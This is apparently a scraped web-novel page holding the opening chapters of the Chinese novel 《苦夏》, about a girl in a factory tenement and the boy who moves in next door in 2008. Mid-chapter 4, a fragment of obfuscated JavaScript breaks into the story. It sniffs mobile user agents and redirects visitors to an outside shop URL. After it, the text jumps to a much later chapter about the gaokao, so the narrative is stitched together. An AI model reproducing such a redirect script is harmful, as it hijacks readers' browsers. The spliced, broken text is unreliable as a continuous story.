《苦夏》 1. 第 1 章 《苦夏》全本免费阅读 2008年,暑假头一天。 早晨八点,送牛奶的自行车铃声准点儿在幸福巷路口响起。 辛苗睡眼朦胧中被赵锦华女士从床上一把拽起,将昨天喝剩下的空牛奶瓶塞进她怀里,边推边嘱咐道:“快取牛奶去,记住看着让人给灌满咯!” 她牙还没刷脸也没洗,就被推搡着下了楼,脚上还穿着拖鞋,困的连步子都抬不起来,每走一步,拖鞋在地上摩擦出刺啦刺啦的声响。 “辛苗,脚给我抬起来!”赵锦华扒着门框冲她喊。 辛苗被她妈吼的一个激灵,瞬间抬起了腿,人也清醒了几分。她看着天边冒出来的太阳,摇摇头,将残余的那点儿瞌睡晃散。 到巷子口的时候,祝楠楠也刚好抱着牛奶瓶子过来。她显然也没睡饱,眼睛困得眯成一条缝儿,看见辛苗,半死不活的打了个招呼:“早啊,苗苗。” “早。”辛苗同样回答的死气沉沉。 幸福巷这一片区没有奶站,送牛奶的大叔是在乡下自己养的奶牛,每天天不亮挤上满满一大桶子,用麻绳绑在自行车后座,走街串巷的叫卖。幸福巷买牛奶的人不少,有当天买当天给钱的,还有像赵锦华这种出手阔绰的,一订就是一个月。 牛奶叔灌牛奶的功夫,辛苗和祝楠楠两人蹲在一旁的阴凉处有一搭没一搭的聊天。 “你妈给你报暑假班了吗?” “没有,打死我也不去。”辛苗有气无力:“你呢?” “我妈说要报,我也不想去,但估计我妈真的会打死我。” “唉,太惨了。” 一瓶奶灌完,牛奶叔把瓶塞堵好放一旁,开始灌另一瓶。 祝楠楠手撑着脸问辛苗:“中午来我家看碟片不?” “啥碟片?” “犬夜叉啊。” “幼稚!”辛苗一脸嫌弃:“你家就只有那几集,咱来来回回都看多少遍了?” “哎呀去嘛~”祝楠楠开始磨人:“我爸妈等会儿去我外婆家,家里没人,不想看碟片也行,电视也可以!最近有个卫视中午在播湾湾偶像剧,我的妈呀,那男主角笑起来忒帅!” “忒帅是多帅?” “反正就是超帅。”祝楠楠说完,凑近她耳朵用气音小声道:“而且,男女主还亲嘴儿呢,我昨天刚好看到那集了!” 她吐出来的气流打在辛苗耳廓上,有点痒。 瞬间,整只耳朵变得通红,辛苗没忍住,缩了缩脖子。 祝楠楠退开,声音重新大了起来。 “辛苗,最后问你一遍,去不去?” “去!”这下辛苗的声音铿锵有力。 她答应的爽快,等抱着牛奶瓶回家跟赵锦华申请的时候,就吞吞吐吐起来。幸福巷众所周知,老辛家的女儿辛苗三岁逗狗七岁打人,从小天不怕地不怕,唯独怕她妈赵锦华。辛建强舍不得打女儿,但赵锦华舍得,辛苗的屁股没少挨揍。因此,辛苗见了她妈就跟老鼠见到猫似的,怂的没边儿。 “去什么去?自己家写不成作业非跑去别人家是吧?” “哎呀妈,我俩在一块不会的题还能互相沟通学习。” “互相学习还是互相抄?”赵锦华将瓶里的牛奶倒进锅里,冷笑:“你都是我生的,你脑子里想什么我能不知道?不准去!” 辛苗不愿意,又瘪着嘴不敢反驳,憋了半天只憋出一句:“我爸呢?” 一般碰到搞不定的事时,她就会试图搬出救兵。 “你爸?出去了。” “干啥去?” 赵锦华拿着木铲翻搅着锅里头的牛奶,闻言,眉毛拧了下,语气也冷了下来。她没直着说,只含糊着一句带过:“等他回来你就知道了。” 辛苗顿时心底一凛,常年的生存经验告诉她,她亲妈一般拧眉毛叹气的时候,心情通常不怎么美丽。辛苗不敢再造次,顿时噤了声,悻悻地跑回自己房间了。 没过多久,赵锦华将煮好的牛奶端进房间。六年级没有暑假作业,赵锦华不可能任由辛苗撒开腿玩儿,早有先见之明的在巷子里不知道谁家借了一整套别人用过的初一旧课本,又去新华书店里头精挑细选了习题册。 赵锦华将牛奶锅放在辛苗的蓝色写字桌边上,开始指挥:“我给你借的教材呢?还有习题册,都拿出来。” “哦。”辛苗不甘不愿的应了一声,蹲下身从写字桌底下的柜子里翻出一沓旧课本,又摸索出装在塑料袋里头尚且崭新的语数外三本练习册:“就这些,没了。” 赵锦华走上前,从里头挑出数学书,放到辛苗面前:“今天早上就学数学吧,不用太快,第一节看完就行,然后再把对应的练习题一做。” 辛苗试图反抗:“可是今天才暑假第一天!” 赵锦华才不跟她讲条件,冷起脸:“你就说学不学?” 辛苗一秒怂,嘴撅得能挂起酱油瓶:“我学嘛。” 赵锦华看着她那副赶鸭子上架的死样子,无奈的摇了摇头,一屁股坐在后头床上,懒得再跟她掰扯。 等辛苗喝完牛奶开始写作业,赵锦华也没闲着,她拿着奶锅出去洗干净,没一会儿,又提着个纸袋子进来,里头装着织了一半的毛衣。毛线在三根铁签上规律缠绕着,她坐在床边,手指勾着毛线在铁签上来回穿梭。她打算在天气凉下来之前,替辛苗织一件新的毛衣。 母女俩各忙各的,屋子里安安静静。 辛苗坐在写字桌前,盯着上面那些字符,看着看着,就晃起神来。她手撑着下巴颏看向着窗外,思绪早不知道飞哪里去了。 老辛家所在的筒子楼正好对着小区院子,院里种了棵泡桐树,长得枝繁叶茂,足有三四层楼那么高。辛苗家在二楼,从她卧室的窗户看出去,只能瞧见粗壮的树干和绿油油的大片叶子。辛苗盯着出了会儿神,觉得没意思,又将视线转回到了课本上。 她本身就是个安静不下来的孩子,小学六年,每回通知书上老师写的评语都会带上“活泼好动”四个字,赵锦华一度怀疑她有多动症。不过动归动,辛苗的成绩还是不错的,在她们小学基本上每回都是年级前二十,就算偶尔数学发挥失常,也没掉出过三十名。 这得益于赵锦华把她学习抓得紧,不过辛苗觉得有些太紧了,跟看犯人似的,连写作业都要坐后头盯着,一点母女之间该有的信任都没有…… 辛苗忍不住叹一口气。 “小小年纪叹什么气?”赵锦华瞪她一眼。 辛苗纳闷的拧过身子:“妈,你今天不去店里啦?” 赵锦华在巷子口开了一家小饭馆,平时早上八九点钟就要去店里头忙活备菜和面,这样才能在中午饭点准时开门营业。这会儿已经九点多了,还不见她走,辛苗有些郁闷。 “不去了。”赵锦华说。 辛苗问:“为啥?” 赵锦华:“中午有事。” 辛苗又问:“啥事?” 赵锦华却没直说:“等会儿你就知道了。” 辛苗:“哦。” 赵锦华没再理会她,手底下毛衣织的飞快。见状,辛苗只得又拧回身,拿起笔开始对着数学课本梦游。 初一上学年的难度不是很大,辛苗对照着书上“前人”留下来的笔记,也能看懂个七七八八。赵锦华就在后头坐着,她也干不了别的,不情不愿的看起书来,这一看竟也慢慢学了进去,直到被一阵手机铃声吵回神。 这会儿已经十一点多了。怕打扰到她,赵锦华特意拿着手机出去接,但筒子楼隔音不怎么好,通话声还是从门缝里钻进来。辛苗支起一只耳朵,零星听到几句碎语。 “快到了?人都接到了吧?” “知道,没做饭。” “嗯,那我先挂了。” 然后,外头没了说话声音。辛苗赶紧坐正身子,装作一副继续投入看书的样子。三五秒后,房门被推开,赵锦华走到写字台边上。 “今早就到这儿吧,你爸马上回来,中午出去吃。” 辛苗立马来劲了:“去哪儿?吃啥?” “还不知道,看你爸回来怎么定。” “我爸到底干啥去了?” “去机场接人。”赵锦华犹豫了下,道:“等会有个阿姨搬家过来,她儿子年纪跟你差不多,以后她俩就住咱们隔壁,你表现懂事一点。” 阿姨?还有个儿子? 辛苗撇嘴: 2. 第 2 章 《苦夏》全本免费阅读 幸福巷周围是一片城乡结合部,最靠近巷子口的是一个筒子楼老小区,再往里则都是自建房。这个地段实际不怎么好,当初之所以住这边,完全是因为这栋楼是辛建强他们厂盖起来的,买的时候有补助,上班也方便,厂里符合条件的基本都定在了这儿。 从辛苗记事起,筒子楼的邻里邻居就常有来往,唯独她家隔壁房门紧锁着,十几年都没开过。 过去了这么久,如今屋主冷不丁的冒了出来,还要马上搬回去住,辛苗觉得有些玄幻。 搬家这事儿压根不是说搬就能搬的,这么多年没住人,屋子里头的灰土都落了几层,估摸着能种庄稼了。想住进去,得把屋子翻个底朝天收拾透彻才行。 辛苗能想到的,大人们自然也能想到。 方蕊说:“等会儿要麻烦辛大哥和嫂子就近帮忙找个旅馆,房子太久没住人,得好好打扫一下,这几天就先在旅馆凑合一下。” 辛建强一想,的确是那么个事,一口应下:“成。要不咱两家先去吃个饭吧,都中午了,孩子还都饿着。” “是啊,小孩子还正长身体呢。”赵锦华也来帮腔:“方蕊,你跟青禾想吃什么?” 方蕊笑笑,说:“都行,我俩也不熟,听你和大哥的,不过得我来请客。” 赵锦华忙否决:“怎么可能让你请呢,当然得我们来。” 两家人边客套边往下走,辛建强的二手桑塔纳就停在院子里,五个人刚好能坐下。他开车,赵锦华自然坐在副驾驶,方蕊带着两个小孩坐后排。上车的时候,方蕊拉开车门让辛苗先上,然后是陈青禾,最后才是她自己。 这么一来,三个人的位置变成了辛苗、陈青禾、方蕊。 好巧不巧,陈青禾坐在正中间。 桑塔纳后排位置有些紧凑,中间又是最挤的,少年不得不缩起腿才勉强坐得下。 饶是如此,三个人还是挨得紧紧的。紧到,辛苗尽管把自己缩成一团,还是避免不了跟旁边的人肩碰着肩。 “都坐好了吧?准备出发!” 辛建强知会一声,车辆缓慢启动,向着饭店驶去。 大人们之间很奇怪,即使多年未见,只要想说话,就总有聊不完的话题。 辛苗修炼还不到家,哪怕平常再怎么活泼,这会儿对着两个不熟的人,也不知道该说什么。 好在,旁边这个叫陈青禾的,比她还要哑巴,压根没有要开口的意思。 他始终都是那副面无表情的样子,眼里也黑漆漆的,鸦羽般的睫毛在下眼睑处覆上浅浅的两道阴影,遮住了瞳孔里的所有情绪,让人看不出他到底是高兴还是不高兴。 辛苗没见过这样的,心里禁不住的好奇,连带着眼睛也忍不住看人家。毕竟不熟,她也不好意思光明正大的看,只敢用余光偷摸的在人家脸上瞥来瞥去。 原本也没什么,谁知道偏巧路边这时候突然窜出来一个自行车,辛建强猛打方向盘,辛苗还没反应过来,整个重心就随着车辆的急拐弯猛然偏离。她迅速瞪大眼睛,手指张开猛抓前座椅靠背……没抓住,上半身不受控制的往边上栽倒,最终,头顶“咚”一声,撞上了个硬邦邦的东西。 几乎是同一瞬间,车里不约而同的响起两道“嘶”的抽气声。 辛苗疼的倒吸一口冷气。 她捂着脑袋坐正,下意识循声看向旁边。 原本面容淡漠的少年此刻眉间拧起褶皱,左手捂在了下颌的位置。 辛苗眼皮一跳,暗道一声完蛋! 果不其然,下一秒,赵锦华回过头就开始训人。 “你怎么回事,坐都坐不稳?青禾没事吧?” 陈青禾再怎么早熟,毕竟也只有十二岁,还做不到喜怒不形于色。 刚才被那颗“铁头”撞上来的那瞬间,他牙齿磕到了舌尖,嘴里顷刻被铁锈味盈满。而始作俑者正坐在旁边捂着脑袋,满脸涨得通红的看着他……女生齐耳短发乱糟糟的蓬在头顶,估计也磕疼了,眼底闪着水光,模样愣愣的,一副不怎么聪明的样子。 陈青禾看了眼便收回视线。 他不动声色将满嘴血腥味咽下,声音依旧平淡如初。 “没事的,赵姨。” 赵锦华表情这才好上了一些。 临转回身的前一秒,她又暗含警告的瞪了辛苗一眼:“你给我坐好!” 辛苗:“……哦。” 后半个车程,她将自己缩成一团紧贴在车门上。 头顶的痛感消散的很快,但方才撞过去时贴在他胳膊上的触感半天都没能散开,那股灼热像是烫在了肌肤上,让辛苗胳膊起了一层鸡皮疙瘩。 她搂着自己的手肘,再没敢往过偷瞄一眼。 车辆穿过一个十字路口,眼瞅着到了市中心。 这一年,小城市还没迎来飞速发展期,兆城是一个再也平平无奇的四线小地方,哪怕是市中心,看上去也旧旧的,跟繁华二字沾不上边。辛建强将车停在饭店门口,一行人在服务员的带领下进去。 饭桌上,大人们边吃边聊,说一些无关紧要的话题。辛苗有一搭没一搭的听着,嘴上就没怎么停过。她这人有个优点——没心没肺。估计是开窍晚,这个年纪的少女本该有的敏感她全然没有,天大的事儿转头就忘,从不往心里去。 所以,哪怕路上来了那么一遭,辛苗胃口依旧很好。 一个小圆桌,她坐在赵锦华跟方蕊中间。赵锦华没怎么理会她,反倒是方蕊时不时的给她夹上几块肉,嘱咐她慢慢吃。 辛苗被投喂的很快就饱了,她放下筷子,拿起一旁的杏仁露溜缝儿。 老辛家勉强算是个小康家庭,辛建强和赵锦华都是节俭惯了的人,加上自家又开的饭馆,所以平时出来在外头大饭店吃的次数并不多。辛苗是个嘴馋的,好不容易逮着机会,自然要吃饱才行。 一餐饭临近尾声,大家都吃的七七八八,聊天也到了收尾阶段。辛苗的杏仁露喝完了最后一口,她将空瓶子放回到桌上,手托着腮边百无聊赖的东看西看,视线扫过桌上的时候,停在了陈青禾座前的碗碟上。 瓷制碗碟看上去干干净净,除了一点点的油渍,旁的什么都没有。 一整个午饭时间,陈青禾几乎没怎么动过筷子。 看来这顿饭菜不怎么合他胃口。 真挑食。 辛苗心想。 转头又把赵锦华没喝完的杏仁露塞进自己嘴里。 - 午饭结束,方蕊抢在前头付了钱。 她的住处还没定,辛建强和赵锦华一合计,最后在离幸福巷不远的地方给她订了间房,又从后备箱将整整三大箱的行李给帮忙搬了上去。 看着方蕊安定好,两家人才告别。 回程路上,没了陌生人,辛苗话又多了起来。 “爸,方蕊阿姨以前真住咱们小区吗?” 辛建强说:“是啊,就咱家隔壁,你不信问你妈,她俩当时关系可好了。” 辛苗又问:“那后来为啥搬走啊?” 辛建强把着方向盘,目光放在远处,像是回忆当年:“厂里当年改制,好多人都下岗另谋生路了,她们家就是那时候搬走的。” “那怎么又搬回来了?” “……” 这次,辛苗的问题没有得到答案。 车里静悄悄的,辛建强并没回答。 辛苗以为他没听清楚,又问了一遍。 结果,还是没能等到辛建强答疑解惑。 最后是赵锦华回过半个身子瞪了她一眼:“小孩子家家,怎么那么多问题!” 辛苗今天一天被她妈瞪了好些遍,都有点委屈了:“我就是好奇嘛。” “好奇就多看书!”赵锦华什么话题都能扯到她的学习上:“下午我去店 3. 第 3 章 《苦夏》全本免费阅读 隔日,辛建强去上班,赵锦华早起盯着辛苗喝完牛奶后,就去了店里忙活。 辛苗一早上啥也没干,认认真真的做完了练习册,几乎没怎么错。等到中午吃饭的时候,她拿着自己傲人的成绩去了店里,哄得赵锦华眉开眼笑,终于求来了一个下午能跑去祝楠楠家写作业的福利。 辛苗吃完饭一刻都没多呆,背着自己的书包就溜了。 祝楠楠家住在巷子里头,辛苗贴在墙根的阴影里头一路小跑过去,到门口的时候热出了一头汗。 她连着敲了几下门,里头才终于传来祝楠楠的声音:“来啦……” 半分钟后,门被打开,祝楠楠穿着睡衣蓬头垢面的站在门后。 祝楠楠有些疑惑:“辛苗?你怎么来啦?” 辛苗晃了晃手里的书包:“来你家写作业,昨天我妈没让我出来。” 祝楠楠说:“哦,那行,你先进来吧。” 祝楠楠家是自建房,一进门先是个小院,然后才是屋子,比单元楼宽敞的多,也能凉快一些。辛苗熟门熟路的进了客厅,发现里头别说空调了,竟然连风扇都没开。祝楠楠坐到沙发上,拿着个毯子捂着肚子,她前头茶几上还放着一杯黑漆漆的水,杯口还正冒着热气。 辛苗纳闷的将书包扔到一旁,坐到她边上:“你怎么了?” 祝楠楠说:“我有点不太舒服,今天不写作业了。” “啊?没事吧?”辛苗有点担心:“去看医生了吗?” 祝楠楠顿时笑了:“没事,不用看医生。你要看电视剧还是碟片,我给咱放。” 辛苗的注意力立马跑了:“电视剧!” 她还记得昨天祝楠楠说的那个偶像剧,只不过有些没好意思提。 祝楠楠将频道换到另外一个卫视上,正巧到了午间剧场,电视上正在播她说的那个剧。辛苗看了会儿,立刻被里头男女主和男二女二四个人之间的狗血剧情吸引住了,看的目不转睛。 直到一集结束,中间加广告的时候,她才意犹未尽的回过神来,对着祝楠楠傻笑:“你说的没错,里头那男的还真的挺帅的。” 祝楠楠脸色发白还不忘捧场:“是吧,没骗你吧!” 辛苗小脸皱起来:“没有……楠楠你是不是很不舒服啊?要不,我陪你去巷子口诊所去找大夫瞧瞧吧。” 祝楠楠摇头:“不用瞧,你把桌上那个水给我吧,我喝了就能舒服些。” 辛苗不信:“啥水还能治病啊?” 说归说,她还是抬起屁股将茶几上那杯黑漆漆的水端起来递到她手里。 “红糖水。”祝楠楠表情有些羞赧,她凑近辛苗,在她耳边小声说道:“辛苗,我那个来了……” 辛苗没听明白:“哪个?” 祝楠楠咬唇:“就,大姨妈。” 辛苗:“?” 不过几秒钟之后,辛苗立刻醍醐灌顶一般明白过来。 前段时间还没小学毕业的时候,前桌有个同学上课时间突然哭着打报告,老师过去一看,二话没说把人带出教室。那女生往出走的时候,辛苗不小心看见她裤子上面一片血红。 当天晚上回家,辛苗就心情沉重的跟赵锦华说,她们班有个同学好像生了重病,屁股后头流了好多血。辛苗说着都快哭了,没成想赵锦华却直接笑出了声,然后,她就把辛苗带到了房间里头,给她科普了一番。 辛苗本以为这种事离自己还远,没成想,今天就在祝楠楠身上遇见了。 辛苗脸红红的凑过去,压着声儿问祝楠楠:“那你有没有什么感觉啊?” 祝楠楠说:“有,我肚子可疼了!但我妈说正常,让我多喝热红糖水。” 辛苗瞪大眼睛:“啊,还会疼啊?” 难怪今天见祝楠楠,她脸色这么差劲,原来是疼成这样的。辛苗顿时有些发怵,不过转念一想,她的还没来,又觉得不怎么怕了。 电视上,广告结束,新的剧集开始播放。 辛苗的注意力已经跑到了更让她好奇的事情上,连电视剧都顾不上看了,等祝楠楠喝完红糖水,她立即拿着空杯子重新续满给她。 大热天,祝楠楠手里捧着热水杯,肚子上还围着毯子,她的刘海有些汗湿,黏在额头上,整个人看上去蔫蔫的。 辛苗觉得她有点可怜,皱着脸安慰道:“祝楠楠,你想吃雪糕吗?我去给咱俩买个雪糕吃吧,吃了甜的你就不疼了。” 闻言,祝楠楠直接噗嗤一声笑了出来,她看着辛苗解释道:“辛苗,来这个不能吃冰的,连凉水都不能碰的。” 辛苗傻眼:“不是吧,连这也不行?” 祝楠楠点点头,一手按着肚子,轻声说:“等你长大就知道了。” 她们同岁,从小一起嘻嘻哈哈长到现在,好到能穿一条裤子,俩人之间从没有过半点隔阂。但一夕之间,祝楠楠像是变了个人,她用一种辛苗从没见过的表情和语气说着老气横秋话。 在成长这条路上,祝楠楠走得快了一步,辛苗被落在了后边。她对祝楠楠口中说的“长大”既充满好奇,又隐隐排斥着。很简单,辛苗怕疼,连打针都能要了她半条命,更别说疼的屁股流血脸色发白…… 辛苗心情跌到了谷底,她闷闷地说:“如果长大一定要先这么疼一遭,那我宁愿不长大。” 祝楠楠沉默半天,没忍住骂出了声:“我也不想,这可太他妈的疼了。” 辛苗:“……” 一整个下午,因为祝楠楠突如其来的“长大”和伴随着一起来的疼痛,气氛变得莫名低沉。辛苗原本打算看会儿电视剧就拿出书来看,最后也彻底没了动力,坐在沙发边上陪着祝楠楠有一搭没一搭的聊天。 两人从电视剧说到期末考试成绩,再谈起不久之后就要开始的北京奥运会,末了,又展望了会儿未来的初中生活。 话题绕了好几个大圈,到最后,又绕回了筒子楼。 祝楠楠突然想起什么,一拍大腿,问辛苗:“你们小区是不是新搬来了一家子人?” 辛苗一愣,点点头:“你怎么知道?” 祝楠楠说:“我听我妈说的,她估计也是听哪个邻居说的吧。” 辛苗“唔”了一声,没再说什么。 幸福巷没有秘密。谁家有个石头大小的动静,要不了多久就能传的整个巷子人尽皆知,尤其是东家长西家短的琐碎,更是如此。昨天方蕊和陈青禾下午回到筒子楼收拾东西,小半天时间都在那边,没少被人看见。所以听祝楠楠这么说,辛苗一点也不意外。 原本以为这个话题到此就结束,没想到祝楠楠坐直身子喝了口水,继续道:“我听我妈 4. 第 4 章 《苦夏》全本免费阅读 有一瞬间,辛苗头晕目眩到视网膜发黑。 好在只有片刻功夫,待她视觉恢复正常,也看清了门口站着的人。 辛苗下意识舒了口气:“爸,你咋回来了?” “回家拿个东西。”辛建强说完,转身往客厅走,边走还边乐呵着问:“大白天你俩锁上卧室门干什么?我还以为家里没人。” 辛苗心虚极了,说话都有些磕巴:“没干嘛,我俩……我俩在写作业。” “是吗?”辛建强声音远远从外间传来。 他显然不信,却也没再说什么,回自己卧室取了东西,一刻都没多待,又匆忙往出走。临出门前叮嘱辛苗和祝楠楠,让她俩别皮,安安心心看会儿书。 眼看着人离开,房门落锁,卧室里头的两个人才终于敢舒一口气。 祝楠楠抚着胸脯说:“吓死我了,你爸突然就出现了!” 辛苗也是一副心有余悸的样子:“我也吓了一跳,我还以为是……” 话说到一半,戛然而止。 祝楠楠偏过头追问:“是什么?” 辛苗咽了咽口水:“没事,没什么。” 方才那一下,她还以为站在门口的人是……陈青禾。明知道家里入户门当时关着,他也没有钥匙,压根不可能突然进来站她卧室门口,但辛苗那刻脑袋就是不受控制,产生了那么个荒唐的错觉……这大概是因为她在背后议论别人家里的是非,自己心虚极了,也就是俗话说的,心里有鬼。 因着这一个小插曲,俩人都没了再八卦的胆量,乖乖的做起了练习册。祝楠楠她妈本来要给她报补习班,架不住祝楠楠软磨硬泡,最后妥协了,只买了教材和书让她在家看,两人习题册都是一样的。 下午是学英语的时间,辛苗一整个心烦意乱,那些英文字母跟鬼画符似的,她压根看不进去,做了三页练习册,有一半都是错的。祝楠楠比她还不如,几乎全错。到最后,辛苗烦躁的啪一下合上书。 祝楠楠被她这动静吓一跳:“怎么了?” 辛苗下巴抵在桌上,撅着嘴:“看不进去,烦。” 祝楠楠沉默了会儿,试探着问她:“你是不是还想刚才那事儿呢?” 辛苗没说话,显然是默认了。 她岂止是想,她满脑子都是祝楠楠方才说的那事儿!打开书,看着里头的文字,脑子里想的都是方蕊阿姨和那个叫陈青禾的少年。 辛苗承认,她其实是不怎么喜欢陈青禾的,就接触了这几回,他每回都是冷冷淡淡的样子,挂着个脸,活像是谁欠了他八百万似的……这是辛苗原先的想法。 直到刚才听祝楠楠说,他爸去世了……辛苗才恍然明白过来。然后,她心里就总是劲儿劲儿的,像憋着一口气,上不来下不去,堵在胸口。 见她这副样子,祝楠楠也有些棘手。 她原本是当八卦说来听的,没想到辛苗反应会这么大。 祝楠楠问:“你认识那家人啊?” 辛苗:“嗯。前几天我爸去机场接的人,我们两家还一起吃了饭。” “怪不得。”祝楠楠明白了:“也是,听我爸妈说,那人以前在厂里,跟你爸关系最好了……那个辛苗,你别往心里去,我就是随便说说闲话。” 辛苗没吭声,她还在想方才的事情。 见状,祝楠楠也闭上了嘴。过了会儿,她待不住了,打起了退堂鼓:“那什么,辛苗,也不早了,我先回去了。” 辛苗抬眼看了床头柜上的钟表,才五点不到。往常她都是六点才走的。 辛苗本来想挽留一下,但祝楠楠已经开始收拾东西了,辛苗也就没再说什么。 送走祝楠楠,她彻底趴在了床上,没睡,纯发愣。 这一发愣直接到了下午六点半,辛建强下班回来。他照例先把车停在院子里,然后上楼来叫辛苗去自家小店里解决下午饭,门一推,却见她趴在床上,四仰八叉的。见到他进来,也只是蔫着声叫了一句“爸”。 辛建强乍一看就知道她绝对是有事了。 他顿时也不着急吃饭了,坐到床边笑呵呵的问:“怎么了闺女?” 辛苗没吭声,她慢吞吞的从床上爬起来坐正。 她没说话,辛建强也不着急催,就坐边上耐心等着。 过了会儿,辛苗就自己开口了。 她问:“爸,你中午站在门口,听见我俩说什么没?” 辛建强乐了:“我说你怎么这副样子,原来是怕我听见你们讲悄悄话啊!你放心,爸什么也没听见。” 辛建强本以为女儿大了有心事不愿意让家长知道,便直说自己没听见,实际上他也确实没有。俩姑娘那会儿贴在一块轻声细气的说话,他压根没听见她们在说什么。 可没想到的是,辛苗听完,脸上表情更差了。 她白着一张小脸,一副欲言又止的样子,看上去像是了天大的委屈。 这可把辛建强吓了一跳,忙问:“怎么了苗苗?谁欺负你了?” 辛苗摇摇头:“没人欺负我,我就是听人说,陈青禾他爸……死了,是真的吗?” 辛建强脸上的笑意逐渐减淡,消失。 他用少见的严肃语气问辛苗:“你听谁说的?祝楠楠?” 辛苗咬着唇:“嗯。” 辛建强问:“还说什么了?” 辛苗讷讷:“还说,说是自杀的,巷子里都传开了。” 辛建强沉默下来。 片刻后,他叹了一口气,嘱咐道:“这件事不要在你方蕊阿姨和青禾面前提起,知道吗?” 辛苗忙说:“我知道。” 辛建强说:“青禾和你一般大,开学也上初一,大概率跟你一所学校,辛苗,以后跟青禾好好相处,没事多去找他写作业玩耍,他在这边没朋友,你要多关心他,知道不?” 辛苗连连答应:“我会的,爸。” 辛建强没再说什么。他宽慰的拍了拍辛苗的脑袋:“好了,不想了,我们去找你妈吃饭去。” “嗯!” - 下午这会儿正是饭点儿,赵锦华的小店里坐了好几桌人。店里平常卖一些馄饨米线炒面什么的,为了省事,赵锦华经常在店里做好下午饭,父女俩一下班放学就直接过来吃。 辛建强带着辛苗一进店门,先帮着忙活了好一会儿,直到客人都走的差不多了,一家三口才开始吃饭。打烊回家的时候,已经是九点多了。 三个人坐在沙发上看电视,辛苗刚起身准备倒杯水喝,房门被人敲响。她脚底一拐,踩着拖鞋过去开门。 门一开,方蕊和陈青禾站在门口。 辛苗顿时心脏漏跳了一拍,她连叫人都忘了,直愣愣的看着眼前突然出现的两个人。 方蕊还是那副和气温柔的样子,笑着跟她打招呼。 辛苗却傻站着没吭声。她视线略过眼前这个温柔的长辈,直勾勾的落在陈青禾身上。 他今日穿了件黑色的短袖,右边胸口有着小小的刺绣对勾,是某个流行的运动品牌标识。 辛苗认得这个牌子,一件短袖要好几百块,很贵。 不过辛苗只看了一眼,就将视线挪到他的脸上。 陈青禾长着一双很好看的眼睛,双眼皮,眉骨高且眼窝偏深,墨一样的瞳仁。 她看过去的时候,陈青禾自然也在看着她,目光沉沉,像是一汪看不到底的湖水。 “苗苗?”方蕊叫她。 辛苗猛然回过神,下意识往后退了一步:“阿姨好,您请进。” 方蕊进了门,陈青禾跟在她身后。 路过辛苗的时候,他垂下眼,眉头微微蹙起,眸光从她脸上轻掠过,片刻便移开。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12910765|130746||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 结果一转头,陈青禾压根连个余光都没给她,反倒是一脸严肃地听着几个大人的说话内容。 辛苗彻底无语,她干脆利落地站起身:“哎呀你们不用讨论了,我明天自己去就行!” 话音刚落,就是三声齐刷刷的:“不行!” 连陈青禾也终于转过头,一脸不赞同地看着她。 辛苗瘪了瘪嘴:“你们不用那么紧张……你们想想看,开车会堵车又不好停,打车估计又会很难打,公交没直达,说来说去,最方便就是我自己骑电动车去,又不堵车又有地方停,时间好控制,多好?” 三个大人齐齐缄默。 过了会儿,赵锦华清清嗓子:“也对,那明天我送你去,完了在外边等你考完,咱再回来。” “别!”辛苗连忙拒绝,这个季节天气已经热了起来,她不想让赵锦华在外头一站站大半天,“你来了谁给我做饭啊?我爸做饭不好吃,我就想吃你做的。” 赵锦华一想也是:“那叫你爸送你。” “……”辛苗无语,她也不想让她爸站大太阳底下等,随便扯了个理由:“也不用,我爸腰不好,不能站久了……哎呀你们别管了,我自己……” “我去吧。”陈青禾突然说。 辛苗原本要说的话一下被堵在了嗓子眼里,她唰的转过头,用一副见鬼了的表情看向陈青禾。 陈青禾没搭理她,他对着辛建强跟赵锦华说:“阿姨要在家做饭,叔叔身体不好,您在外面等,辛苗在考场里难免为您担心。让她自己过去大家又都不放心,所以还是我去吧,我骑车技术还行,路上还能帮她复习知识点。而且考试一共两天时间,辛叔实在不放心的话,也可以跟我轮换着去……你们觉得呢?” 方蕊立马附和:“我觉得青禾说得很有道理!” 辛建强:“也是,像我们高中知识早忘了,你还能帮她温习。” 最后,赵锦华一拍板:那就这么决定了!辛苗,你觉得行不?” 辛苗:“……行,必须行。” 她敢不行吗? 于是,在高考两天时间里,陈青禾成了辛苗的专职司机,按时按点,准确无误,甚至就像他说的那样,路上还随机抽查辛苗的英语单词和数学公式。 两天时间一晃而过,等到最后一门考试结束,考场校门打开,憋屈压抑了一整年的高三学生疯了一般朝着门口跑出来,造型千姿百态,千奇百怪。有双臂大开作飞翔状的,有一蹦三尺高的,有仰着脖子嘶吼的……不过大多数同学还是比较内敛,有的挂着笑,有的一脸平静,但无一例外的,全都是卸去了枷锁般的如释重负。 辛苗随着人流从学校里头走出来,校门口密密麻麻全都是人,家长学生老师还有补课机构发小广告的人混作一团。她脚步轻快的跑向跟陈青禾约定好了的地方,穿过密密麻麻的人群,却在即将到达的时候,忽地慢了下来。 只见那一小块地方,除了陈青禾之外,还站着辛建强,赵锦华和方蕊,甚至两位妈妈身上还都穿着旗袍。 辛苗走到跟前,眼睛因为吃惊而大睁着:“爸妈,还有方蕊阿姨,你们怎么都来了?” “接你啊!”方蕊笑眯眯的说:“听人家说要穿旗袍,寓意旗开得胜,我们都不知道这些,你妈跟我还是中午加急跑到商场买的,看你妈穿着漂亮吧?” 赵锦华抿紧嘴,抬起胳膊轻轻撞了下方蕊,看上去有些不太好意思。她因为常年做饭洗碗的双手看上去有些粗糙,在身体两侧不自然地垂着,微低着头,导致藏在黑发中间的几根银白发丝尤为明显。 这一刻,因为高考结束而产生的喜悦减淡,辛苗突然很想哭。可她又不想在这么多人面前掉眼泪,怪尴尬的,于是她上前一步,一把抱住了赵锦华,将脸埋进她温暖的颈侧。 “妈~我终于考完啦~” 50. 第 50 章 如果说高考之前,辛苗在家享受的是太上皇一般的待遇,那么高考结束之后,她就从太上皇直接变成了阶下囚,地位急转直下,中间连个过渡都没有。 考试结束后第一天,辛苗七点多迷迷糊糊地醒来,听见她爸妈在客厅说“别叫醒她”“叫孩子好好休息”。过了一周,就变成了“晚上不睡早上不醒”“懒死了”。辛苗翻个身,扯过被子蒙住脑袋,假装没听见。 